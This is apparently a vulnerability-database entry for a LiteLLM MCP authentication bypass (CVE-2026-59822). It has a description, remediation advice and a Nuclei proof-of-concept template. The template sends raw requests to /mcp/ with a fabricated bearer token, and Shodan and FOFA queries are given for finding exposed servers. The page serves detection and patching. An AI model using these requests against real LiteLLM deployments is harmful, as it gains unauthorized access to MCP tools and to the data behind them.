CVE-2026-59822: LiteLLM < 1.84.0 - MCP Authentication Bypass

2026-12-04 PoC Public

Description

LiteLLM before 1.84.0 exposes the Model Context Protocol (MCP) Streamable HTTP endpoint at /mcp/ behind an authentication handler that falls back to an anonymous session. In MCPRequestHandler.process_mcp_request(), when a request carries an Authorization header but no x-litellm-api-key header, a failed LiteLLM key validation that surfaces as a 401 or 403 is swallowed and replaced with an empty UserAPIKeyAuth() object. A remote unauthenticated attacker can therefore present any fabricated bearer token and establish an authenticated MCP session.

Details

CVE
CVE-2026-59822 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-59822

info:
  name: LiteLLM < 1.84.0 - MCP Authentication Bypass
  author: Securin
  severity: high
  description: |
    LiteLLM before 1.84.0 exposes the Model Context Protocol (MCP) Streamable HTTP endpoint at /mcp/ behind an authentication handler that falls back to an anonymous session. In MCPRequestHandler.process_mcp_request(), when a request carries an Authorization header but no x-litellm-api-key header, a failed LiteLLM key validation that surfaces as a 401 or 403 is swallowed and replaced with an empty UserAPIKeyAuth() object. A remote unauthenticated attacker can therefore present any fabricated bearer token and establish an authenticated MCP session.
  impact: |
    An unauthenticated remote attacker can open an MCP session on the proxy and enumerate and invoke the MCP tools it exposes, reaching the upstream services wired into those tools and the data they can read or modify.
  remediation: |
    Upgrade to LiteLLM 1.84.0 or later, where the anonymous fallback is only taken when the targeted MCP server is explicitly configured with auth_type=oauth2. If upgrading is not immediately possible, disable MCP routes or block /mcp/ at the reverse proxy or API gateway.
  reference:
    - https://github.com/BerriAI/litellm/security/advisories/GHSA-7488-6r32-c95q
    - https://github.com/BerriAI/litellm/releases/tag/v1.84.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-59822
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-59822
    epss-score: 0.13541
    epss-percentile: 0.96554
    cwe-id: CWE-287
    cpe: cpe:2.3:a:berriai:litellm:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: berriai
    product: litellm
    shodan-query: http.html:"litellm"
    fofa-query: body="litellm"
  tags: cve,cve2026,litellm,berriai,mcp,auth-bypass,kev,ai,vkev

http:
  - raw:
      - |
        POST /mcp/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream

        {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"{{rand_text_alpha(8)}}","version":"1.0.0"}}}

      - |
        POST /mcp/ HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer sk-{{rand_base(24)}}
        Content-Type: application/json
        Accept: application/json, text/event-stream

        {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"{{rand_text_alpha(8)}}","version":"1.0.0"}}}

    req-condition: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 != 200 && status_code_2 == 200'
          - 'contains_all(body_2, "litellm-mcp-server", "\"jsonrpc\":\"2.0\"", "protocolVersion")'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"serverInfo":\{"name":"(litellm-mcp-server)"'
# digest: 4a0a00473045022100e71d74b96311774841d1f052ec0a8050cac2bd629bae2126294fd26fc04f2c7e022065f1b1307a4b108c720412a9220b86cc1816c622fc61bbc857bd3166f4bfc8e6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life